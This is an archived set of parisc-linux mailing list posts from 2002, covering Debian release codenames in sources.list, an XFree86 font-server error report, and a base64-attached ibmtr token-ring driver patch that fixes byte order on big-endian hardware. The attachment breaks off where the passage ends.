X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 10:42:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9FB9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 10:42:41 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 3D78F3BDCF; Mon, 14 Jan 2002 10:42:10 -0700 (MST)
In-Reply-To: <Pine.NEB.4.40.0201141140140.29083-100000@io.fachschaften.tu-muenchen.de>
Original-Lines: 34
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13734

aderesch@fs.tum.de (Andreas Deresch) writes:

> > deb http://http.us.debian.org/debian sid main contrib non-free
> > deb http://non-us.debian.org/debian-non-US sid/non-US main contrib non-free
> Shouldn't one use stable, testing and unstable, which are of course at the
> moment linked to potato, woody and sid respectively? Otherwise you will stay
> with sid even when it is declared stable (or unavailable) - and you don't
> want that, do you?  ;-)

"It depends."

First of all, sid won't ever be stable.  Sid was the kid in the Toy Story
movie who was sort of scary and should never be let out of the house... (well,
actually he's the character I most identified with in the movie, but we won't
go there... :-) and it's the *permanent* codename for Debian unstable.  In 
our new pool-based scheme, new names get declared for the 'testing' release 
and become stable with time.  So, 'woody' is now the same as 'testing' and 
will be the same as 'stable' when it is released... at which point a new name
will be assigned for the new testing release, and so on.

Sometimes it makes sense to use the release tokens.  You may want to always
run 'stable' on a machine to get the latest stable release, for example.  In
other cases, it makes much more sense to track a particular named release and
have conscious control over when you hop from one release to another.  If you
want to track unstable, either 'sid' or 'unstable' is fine.  If you want to
start with woody now and stay with it when it goes stable, 'woody' might be
better than 'testing' to use in the sources.list file.

Hope that helps.  For what it's worth, I always use the code names and exert
explicit control over when I hop from one release to another... but I've helped
configure production servers with files that say 'stable' and also include
entries for the security.debian.org updates (crucial if tracking stable!).

Bdale



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: sid vs woody (was 715/50)
Date: Mon, 14 Jan 2002 11:41:10 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20020114184110.6C1D2482A@dsl2.external.hp.com>
References: <20020113220723.673A7482A@dsl2.external.hp.com> <Pine.NEB.4.40.0201141140140.29083-100000@io.fachschaften.tu-muenchen.de>  <871ygsu8wd.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620967 1149 80.91.229.3 (22 Nov 2014 01:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: aderesch@fs.tum.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 11:41:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6C1D2482A; Mon, 14 Jan 2002 11:41:10 -0700 (MST)
In-Reply-To: Message from Bdale Garbee <bdale@gag.com> 
   of "14 Jan 2002 10:42:10 MST." <871ygsu8wd.fsf@rover.gag.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13735

Bdale Garbee wrote:
> Hope that helps.  For what it's worth, I always use the code names and exert
> explicit control over when I hop from one release to another...

This is basically how I use it too...thanks bdale for clarifying.

grant



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree86 error
Date: Mon, 14 Jan 2002 19:52:42 +0100 (CET)
Lines: 30
Approved: news@gmane.org
Message-ID: <1011034362.3c4328fae83be@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620967 1151 80.91.229.3 (22 Nov 2014 01:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 11:52:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFE48482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 11:52:44 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16QCDq-0008Eo-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 19:52:42 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13736

Hi all,

Since I upgrade XFree86 to release 4.1.0-11, I got following error message:

(**) Option "CorePointer"
(**) Configured Mouse: Core Pointer
(**) Option "Device" "/dev/psaux"
(==) Configured Mouse: Buttons: 3
(**) Option "Emulate3Buttons" "true"
(**) Configured Mouse: Emulate3Buttons, Emulate3Timeout: 50
(**) Option "ZAxisMapping" "4 5"
(**) Configured Mouse: ZAxisMapping: buttons 4 and 5
(II) XINPUT: Adding extended input device "Configured Mouse" (type: MOUSE)
Could not init font path element unix/:7100, removing from list!

even thought ps -ef | grep xfs answer
root  219  1 0 Jan11 ?  00:00:00  /usr/bin/X11/xfs -daemon

Any idea?

Thanks in advance for help,
        Joel

PS: xfs was not used before (that is why I do not notice it before)


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IBM TR patch
Date: Mon, 14 Jan 2002 20:53:26 +0100 (CET)
Lines: 275
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201142041450.7418-200000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="2831155551-2009707125-1011038006=:7418"
X-Trace: ger.gmane.org 1416620967 1153 80.91.229.3 (22 Nov 2014 01:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:27 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: linux-tr@linuxtr.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 12:54:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27247482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 12:54:06 -0700 (MST)
Original-Received: from p5080D976.dip.t-dialin.net (p5080D976.dip.t-dialin.net [80.128.217.118])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0EJrcj23486;
	Mon, 14 Jan 2002 20:53:39 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13737

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--2831155551-2009707125-1011038006=:7418
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi there,

this patch fixes some endianess issues of the current ibmtr driver. 
Although the current uses of htons() etc look correct, they are not: the 
writew/readw API already do the byte swap on big endian machines.

Additionally, i added a switch to turn off IPv4 summing. This might be 
needed for IPv6 and is absolutely necessary on HP PARISC platform with the 
current broken ioremap implementation. The IPv4 summing is the only place 
in the driver that accesses memory directly without the readX or 
memcpy_fromio macros.

With the patch, the ibmtr driver should work on big endian machines with 
ISA/EISA bus (e.g. 68000 and HP PARISC).

On PARISC, the card gets initialized and joins the ring, but due to the 
ISA memory access bug, it will receive garbage on memory regions with 
(ISA memory & 0x300) == 0.

Cheers,
Jochen

--2831155551-2009707125-1011038006=:7418
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ibmtr.c.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.43.0201142053260.7418@alpha.bocc.de>
Content-Description: 
Content-Disposition: attachment; filename="ibmtr.c.diff"

LS0tIGxpbnV4L2RyaXZlcnMvbmV0L3Rva2VucmluZy9pYm10ci5jCUZyaSBO
b3YgIDkgMjM6MDI6MjQgMjAwMQ0KKysrIGxpbnV4LTIuNC4xNy9kcml2ZXJz
L25ldC90b2tlbnJpbmcvaWJtdHIuYwlNb24gSmFuIDE0IDAwOjIxOjIxIDIw
MDINCkBAIC0xMDAsNiArMTAwLDkgQEANCiAgKg0KICAqICAgICAgQ2hhbmdl
cyBieSBCdXJ0IFNpbHZlcm1hbiB0byBhbGxvdyB0aGUgY29tcHV0ZXIgdG8g
YmVoYXZlIG5pY2VseSB3aGVuDQogICoJYSBjYWJsZSBpcyBwdWxsZWQgb3Ig
bm90IGluIHBsYWNlLCBvciBhIFBDTUNJQSBjYXJkIGlzIHJlbW92ZWQgaG90
Lg0KKyAqDQorICoJQ2hhbmdlcyBieSBKb2NoZW4gRnJpZWRyaWNoIHRvIGZp
eCBlbmRpYW5lc3MgaXNzdWVzLiBBZGRlZCBmbGFnIHRvIA0KKyAqCXR1cm4g
b2ZmIElQdjQgcHJlLWNoZWNrc3Vtcy4NCiAgKi8NCiANCiAvKiBjaGFuZ2Ug
dGhlIGRlZmluZSBvZiBJQk1UUl9ERUJVR19NRVNTQUdFUyB0byBhIG5vbnpl
cm8gdmFsdWUgDQpAQCAtMTI1LDYgKzEyOCwxMSBAQA0KIC8qIHNvbWUgOTUg
T1Mgc2VuZCBtYW55IG5vbiBVSSBmcmFtZTsgdGhpcyBhbGxvdyByZW1vdmlu
ZyB0aGUgd2FybmluZyAqLw0KICNkZWZpbmUgVFJfRklMVEVSTk9OVUkJMQ0K
IA0KKy8qIHN3aXRjaCB0byAwIHRvIGRpc2FibGUgSVB2NCBjaGVja3N1bXMu
IE5lZWRlZCBieSBhcmNoaXRlY3R1cmVzIHdpdGgNCisgKiBicm9rZW4gaW9y
ZW1hcCAoaS5lLiBwYXJpc2MpLg0KKyAqLw0KKyNkZWZpbmUgVFJfQ0hFQ0tT
VU0gMQ0KKw0KICNpbmNsdWRlIDxsaW51eC9zY2hlZC5oPg0KICNpbmNsdWRl
IDxsaW51eC9pb3BvcnQuaD4NCiAjaW5jbHVkZSA8bGludXgvbmV0ZGV2aWNl
Lmg+DQpAQCAtMjY5LDcgKzI3Nyw3IEBADQogCQl9DQogCQlpc2Ffd3JpdGVi
KDB4MDAsIHJhbV9hZGRyKzB4MUUwMSk7DQogCQlmb3IoaT1qaWZmaWVzK1RS
X0JVU1lfSU5URVJWQUw7IHRpbWVfYmVmb3JlX2VxKGppZmZpZXMsaSk7KTsN
Ci0JCWludGZfdGJsPW50b2hzKGlzYV9yZWFkdyhyYW1fYWRkcitBQ0FfT0ZG
U0VUK0FDQV9SVytXUkJSX0VWRU4pKTsNCisJCWludGZfdGJsPXN3YWIxNihp
c2FfcmVhZHcocmFtX2FkZHIrQUNBX09GRlNFVCtBQ0FfUlcrV1JCUl9FVkVO
KSk7DQogCQlpZiAoaW50Zl90YmwpIHsNCiAjaWYgSUJNVFJfREVCVUdfTUVT
U0FHRVMNCiAJCQlwcmludGsoImlibXRyOjpmaW5kX3R1cmJvX2FkYXB0ZXJz
LCBUdXJibyBmb3VuZCBhdCAiDQpAQCAtMjgwLDcgKzI4OCw3IEBADQogCQkJ
fQ0KIAkJCXByaW50aygiXG4iKTsNCiAjZW5kaWYNCi0JCQl0dXJib19pb1tp
bmRleF09bnRvaHMoaXNhX3JlYWR3KHJhbV9hZGRyK2ludGZfdGJsKzQpKTsN
CisJCQl0dXJib19pb1tpbmRleF09c3dhYjE2KGlzYV9yZWFkdyhyYW1fYWRk
citpbnRmX3RibCs0KSk7DQogCQkJdHVyYm9faXJxW2luZGV4XT1pc2FfcmVh
ZGIocmFtX2FkZHIraW50Zl90YmwrMyk7DQogCQkJb3V0YigwLCB0dXJib19p
b1tpbmRleF0gKyBBREFQVFJFU0VUKTsNCiAJCQlmb3IoaT1qaWZmaWVzK1RS
X1JTVF9USU1FO3RpbWVfYmVmb3JlX2VxKGppZmZpZXMsaSk7KTsNCkBAIC05
MjYsMTUgKzkzNCwxNSBAQA0KIAlmb3IgKGkgPSAwOyBpIDwgc2l6ZW9mKHN0
cnVjdCBkaXJfb3Blbl9hZGFwdGVyKTsgaSsrKQ0KIAkJd3JpdGViKDAsIHRp
LT5pbml0X3NyYiArIGkpOw0KIAl3cml0ZWIoRElSX09QRU5fQURBUFRFUiwg
dGktPmluaXRfc3JiICsgQ09NTUFORF9PRlNUKTsNCi0Jd3JpdGV3KGh0b25z
KE9QRU5fUEFTU19CQ09OX01BQyksIHRpLT5pbml0X3NyYiArIE9QRU5fT1BU
SU9OU19PRlNUKTsNCisJd3JpdGV3KHN3YWIxNihPUEVOX1BBU1NfQkNPTl9N
QUMpLCB0aS0+aW5pdF9zcmIgKyBPUEVOX09QVElPTlNfT0ZTVCk7DQogCWlm
ICh0aS0+cmluZ19zcGVlZCA9PSAxNikgew0KLQkJd3JpdGV3KGh0b25zKHRp
LT5kaGJfc2l6ZTE2bWIpLCB0aS0+aW5pdF9zcmIgKyBESEJfTEVOR1RIX09G
U1QpOw0KLQkJd3JpdGV3KGh0b25zKHRpLT5yYnVmX2NudDE2KSwgdGktPmlu
aXRfc3JiICsgTlVNX1JDVl9CVUZfT0ZTVCk7DQotCQl3cml0ZXcoaHRvbnMo
dGktPnJidWZfbGVuMTYpLCB0aS0+aW5pdF9zcmIgKyBSQ1ZfQlVGX0xFTl9P
RlNUKTsNCisJCXdyaXRldyhzd2FiMTYodGktPmRoYl9zaXplMTZtYiksIHRp
LT5pbml0X3NyYiArIERIQl9MRU5HVEhfT0ZTVCk7DQorCQl3cml0ZXcoc3dh
YjE2KHRpLT5yYnVmX2NudDE2KSwgdGktPmluaXRfc3JiICsgTlVNX1JDVl9C
VUZfT0ZTVCk7DQorCQl3cml0ZXcoc3dhYjE2KHRpLT5yYnVmX2xlbjE2KSwg
dGktPmluaXRfc3JiICsgUkNWX0JVRl9MRU5fT0ZTVCk7DQogCX0gZWxzZSB7
DQotCQl3cml0ZXcoaHRvbnModGktPmRoYl9zaXplNG1iKSwgdGktPmluaXRf
c3JiICsgREhCX0xFTkdUSF9PRlNUKTsNCi0JCXdyaXRldyhodG9ucyh0aS0+
cmJ1Zl9jbnQ0KSwgdGktPmluaXRfc3JiICsgTlVNX1JDVl9CVUZfT0ZTVCk7
DQotCQl3cml0ZXcoaHRvbnModGktPnJidWZfbGVuNCksIHRpLT5pbml0X3Ny
YiArIFJDVl9CVUZfTEVOX09GU1QpOw0KKwkJd3JpdGV3KHN3YWIxNih0aS0+
ZGhiX3NpemU0bWIpLCB0aS0+aW5pdF9zcmIgKyBESEJfTEVOR1RIX09GU1Qp
Ow0KKwkJd3JpdGV3KHN3YWIxNih0aS0+cmJ1Zl9jbnQ0KSwgdGktPmluaXRf
c3JiICsgTlVNX1JDVl9CVUZfT0ZTVCk7DQorCQl3cml0ZXcoc3dhYjE2KHRp
LT5yYnVmX2xlbjQpLCB0aS0+aW5pdF9zcmIgKyBSQ1ZfQlVGX0xFTl9PRlNU
KTsNCiAJfQ0KIAl3cml0ZWIoTlVNX0RIQiwJCS8qIGFsd2F5cyAyICovIHRp
LT5pbml0X3NyYiArIE5VTV9ESEJfT0ZTVCk7DQogCXdyaXRlYihETENfTUFY
X1NBUCwgdGktPmluaXRfc3JiICsgRExDX01BWF9TQVBfT0ZTVCk7DQpAQCAt
OTQzLDkgKzk1MSw5IEBADQogCXRpLT5zcmJfcGFnZSA9IHRpLT5pbml0X3Ny
Yl9wYWdlOw0KIAlEUFJJTlRLKCJPcGVuaW5nIGFkYXB0ZXI6IFhtaXQgYmZy
czogJWQgWCAlZCwgUmN2IGJmcnM6ICVkIFggJWRcbiIsDQogCQlyZWFkYih0
aS0+aW5pdF9zcmIgKyBOVU1fREhCX09GU1QpLA0KLQkJbnRvaHMocmVhZHco
dGktPmluaXRfc3JiICsgREhCX0xFTkdUSF9PRlNUKSksDQotCQludG9ocyhy
ZWFkdyh0aS0+aW5pdF9zcmIgKyBOVU1fUkNWX0JVRl9PRlNUKSksDQotCQlu
dG9ocyhyZWFkdyh0aS0+aW5pdF9zcmIgKyBSQ1ZfQlVGX0xFTl9PRlNUKSkp
Ow0KKwkJc3dhYjE2KHJlYWR3KHRpLT5pbml0X3NyYiArIERIQl9MRU5HVEhf
T0ZTVCkpLA0KKwkJc3dhYjE2KHJlYWR3KHRpLT5pbml0X3NyYiArIE5VTV9S
Q1ZfQlVGX09GU1QpKSwNCisJCXN3YWIxNihyZWFkdyh0aS0+aW5pdF9zcmIg
KyBSQ1ZfQlVGX0xFTl9PRlNUKSkpOw0KIAl3cml0ZWIoSU5UX0VOQUJMRSwg
dGktPm1taW8gKyBBQ0FfT0ZGU0VUICsgQUNBX1NFVCArIElTUlBfRVZFTik7
DQogCXdyaXRlYihDTURfSU5fU1JCLCB0aS0+bW1pbyArIEFDQV9PRkZTRVQg
KyBBQ0FfU0VUICsgSVNSQV9PREQpOw0KIH0NCkBAIC05NjcsNyArOTc1LDcg
QEANCiAjZGVmaW5lIFNUQVRJT05fQ09VTlRfT0ZTVCAgICAgIDE4DQogDQog
CXdyaXRlYihETENfT1BFTl9TQVAsIHRpLT5zcmIgKyBDT01NQU5EX09GU1Qp
Ow0KLQl3cml0ZXcoaHRvbnMoTUFYX0lfRklFTEQpLCB0aS0+c3JiICsgTUFY
X0lfRklFTERfT0ZTVCk7DQorCXdyaXRldyhzd2FiMTYoTUFYX0lfRklFTEQp
LCB0aS0+c3JiICsgTUFYX0lfRklFTERfT0ZTVCk7DQogCXdyaXRlYihTQVBf
T1BFTl9JTkRfU0FQIHwgU0FQX09QRU5fUFJJT1JJVFksIHRpLT5zcmIrIFNB
UF9PUFRJT05TX09GU1QpOw0KIAl3cml0ZWIoU0FQX09QRU5fU1RBVElPTl9D
TlQsIHRpLT5zcmIgKyBTVEFUSU9OX0NPVU5UX09GU1QpOw0KIAl3cml0ZWIo
dHlwZSwgdGktPnNyYiArIFNBUF9WQUxVRV9PRlNUKTsNCkBAIC0xMDgzLDEw
ICsxMDkxLDEwIEBADQogICAgICAgICB1bnNpZ25lZCBjaGFyIHJldF9jb2Rl
Ow0KICAgICAgICAgX191MTYgZXJyOw0KIA0KLSAgICAgICAgdGktPnNyYiA9
IG50b2hzKHJlYWR3KHRpLT5pbml0X3NyYiArIFNSQl9BRERSRVNTX09GU1Qp
KTsNCi0gICAgICAgIHRpLT5zc2IgPSBudG9ocyhyZWFkdyh0aS0+aW5pdF9z
cmIgKyBTU0JfQUREUkVTU19PRlNUKSk7DQotICAgICAgICB0aS0+YXJiID0g
bnRvaHMocmVhZHcodGktPmluaXRfc3JiICsgQVJCX0FERFJFU1NfT0ZTVCkp
Ow0KLSAgICAgICAgdGktPmFzYiA9IG50b2hzKHJlYWR3KHRpLT5pbml0X3Ny
YiArIEFTQl9BRERSRVNTX09GU1QpKTsNCisgICAgICAgIHRpLT5zcmIgPSBz
d2FiMTYocmVhZHcodGktPmluaXRfc3JiICsgU1JCX0FERFJFU1NfT0ZTVCkp
Ow0KKyAgICAgICAgdGktPnNzYiA9IHN3YWIxNihyZWFkdyh0aS0+aW5pdF9z
cmIgKyBTU0JfQUREUkVTU19PRlNUKSk7DQorICAgICAgICB0aS0+YXJiID0g
c3dhYjE2KHJlYWR3KHRpLT5pbml0X3NyYiArIEFSQl9BRERSRVNTX09GU1Qp
KTsNCisgICAgICAgIHRpLT5hc2IgPSBzd2FiMTYocmVhZHcodGktPmluaXRf
c3JiICsgQVNCX0FERFJFU1NfT0ZTVCkpOw0KICAgICAgICAgaWYgKHRpLT5w
YWdlX21hc2spIHsNCiAgICAgICAgICAgICAgICAgdGktPnNyYl9wYWdlID0g
KHRpLT5zcmIgPj4gOCkgJiB0aS0+cGFnZV9tYXNrOw0KICAgICAgICAgICAg
ICAgICB0aS0+c3JiICY9IH4odGktPnBhZ2VfbWFzayA8PCA4KTsNCkBAIC0x
MTAzLDcgKzExMTEsNyBAQA0KICAgICAgICAgdGktPmFzYiArPSB0aS0+c3Jh
bV92aXJ0Ow0KICAgICAgICAgdGktPmN1cnJlbnRfc2tiID0gTlVMTDsNCiAg
ICAgICAgIHJldF9jb2RlID0gcmVhZGIodGktPmluaXRfc3JiICsgUkVUQ09E
RV9PRlNUKTsNCi0gICAgICAgIGVyciA9IG50b2hzKHJlYWR3KHRpLT5pbml0
X3NyYiArIE9QRU5fRVJST1JfQ09ERV9PRlNUKSk7DQorICAgICAgICBlcnIg
PSBzd2FiMTYocmVhZHcodGktPmluaXRfc3JiICsgT1BFTl9FUlJPUl9DT0RF
X09GU1QpKTsNCiAgICAgICAgIGlmICghcmV0X2NvZGUpIHsNCiAJCXRpLT5v
cGVuX3N0YXR1cyA9IE9QRU47IC8qIFRSIGFkYXB0ZXIgaXMgbm93IGF2YWls
YWJsZSAqLw0KICAgICAgICAgICAgICAgICBpZiAodGktPm9wZW5fbW9kZSA9
PSBBVVRPTUFUSUMpIHsNCkBAIC0xMjA2LDcgKzEyMTQsNyBAQA0KIAkJX191
MzIgY2hlY2tfcmVhc29uOw0KIAkJX191OCBjaGVja19yZWFzb25fcGFnZSA9
IDA7DQogCQljaGVja19yZWFzb24gPQ0KLQkJCW50b2hzKHJlYWR3KHRpLT5t
bWlvKyBBQ0FfT0ZGU0VUK0FDQV9SVyArIFdXQ1JfRVZFTikpOw0KKwkJCXN3
YWIxNihyZWFkdyh0aS0+bW1pbysgQUNBX09GRlNFVCtBQ0FfUlcgKyBXV0NS
X0VWRU4pKTsNCiAJCWlmICh0aS0+cGFnZV9tYXNrKSB7DQogCQkJY2hlY2tf
cmVhc29uX3BhZ2UgPSAoY2hlY2tfcmVhc29uID4+IDgpICYgdGktPnBhZ2Vf
bWFzazsNCiAJCQljaGVja19yZWFzb24gJj0gfih0aS0+cGFnZV9tYXNrIDw8
IDgpOw0KQEAgLTEzOTYsMTUgKzE0MDQsMTUgQEANCiAJCXN3aXRjaCAocmVh
ZGIodGktPmFyYikpIHsJLyogQVJCIGNvbW1hbmQgY2hlY2sgKi8NCiAJCWNh
c2UgRExDX1NUQVRVUzoNCiAJCQlEUFJJTlRLKCJETENfU1RBVFVTIG5ldyBz
dGF0dXM6ICUwMlggb24gc3RhdGlvbiAlMDJYXG4iLA0KLQkJCQludG9ocyhy
ZWFkdyh0aS0+YXJiICsgU1RBVFVTX09GU1QpKSwNCi0JCQkJbnRvaHMocmVh
ZHcodGktPmFyYisgU1RBVElPTl9JRF9PRlNUKSkpOw0KKwkJCQlzd2FiMTYo
cmVhZHcodGktPmFyYiArIFNUQVRVU19PRlNUKSksDQorCQkJCXN3YWIxNihy
ZWFkdyh0aS0+YXJiKyBTVEFUSU9OX0lEX09GU1QpKSk7DQogCQkJYnJlYWs7
DQogCQljYXNlIFJFQ19EQVRBOg0KIAkJCXRyX3J4KGRldik7DQogCQkJYnJl
YWs7DQogCQljYXNlIFJJTkdfU1RBVF9DSEFOR0U6ew0KIAkJCXVuc2lnbmVk
IHNob3J0IHJpbmdfc3RhdHVzOw0KLQkJCXJpbmdfc3RhdHVzPSBudG9ocyhy
ZWFkdyh0aS0+YXJiICsgTkVUV19TVEFUVVNfT0ZTVCkpOw0KKwkJCXJpbmdf
c3RhdHVzPSBzd2FiMTYocmVhZHcodGktPmFyYiArIE5FVFdfU1RBVFVTX09G
U1QpKTsNCiAJCQlpZiAoaWJtdHJfZGVidWdfdHJhY2UgJiBUUkNfSU5JVCkN
CiAJCQkJRFBSSU5USygiUmluZyBTdGF0dXMgQ2hhbmdlLi4uKDB4JXgpXG4i
LA0KIAkJCQkJCQkJcmluZ19zdGF0dXMpOw0KQEAgLTE1MDEsNyArMTUwOSw3
IEBADQogI2lmbmRlZiBQQ01DSUENCiAgICAgICAgIHRpLT5zcmFtX3ZpcnQg
PSAodTMyKWlvcmVtYXAoKChfX3UzMil0aS0+c3JhbV9iYXNlIDw8IDEyKSwg
dGktPmF2YWlsX3NoYXJlZF9yYW0pOw0KICNlbmRpZg0KLQl0aS0+aW5pdF9z
cmIgPSBudG9ocyhyZWFkdyh0aS0+bW1pbyArIEFDQV9PRkZTRVQgKyBXUkJS
X0VWRU4pKTsNCisJdGktPmluaXRfc3JiID0gc3dhYjE2KHJlYWR3KHRpLT5t
bWlvICsgQUNBX09GRlNFVCArIFdSQlJfRVZFTikpOw0KIAlpZiAodGktPnBh
Z2VfbWFzaykgew0KIAkJdGktPmluaXRfc3JiX3BhZ2UgPSAodGktPmluaXRf
c3JiID4+IDgpICYgdGktPnBhZ2VfbWFzazsNCiAJCXRpLT5pbml0X3NyYiAm
PSB+KHRpLT5wYWdlX21hc2sgPDwgOCk7DQpAQCAtMTUzMSw3ICsxNTM5LDcg
QEANCiAJfQ0KICNlbmRpZg0KIA0KLQlod19lbmNvZGVkX2FkZHIgPSByZWFk
dyh0aS0+aW5pdF9zcmIgKyBFTkNPREVEX0FERFJFU1NfT0ZTVCk7DQorCWh3
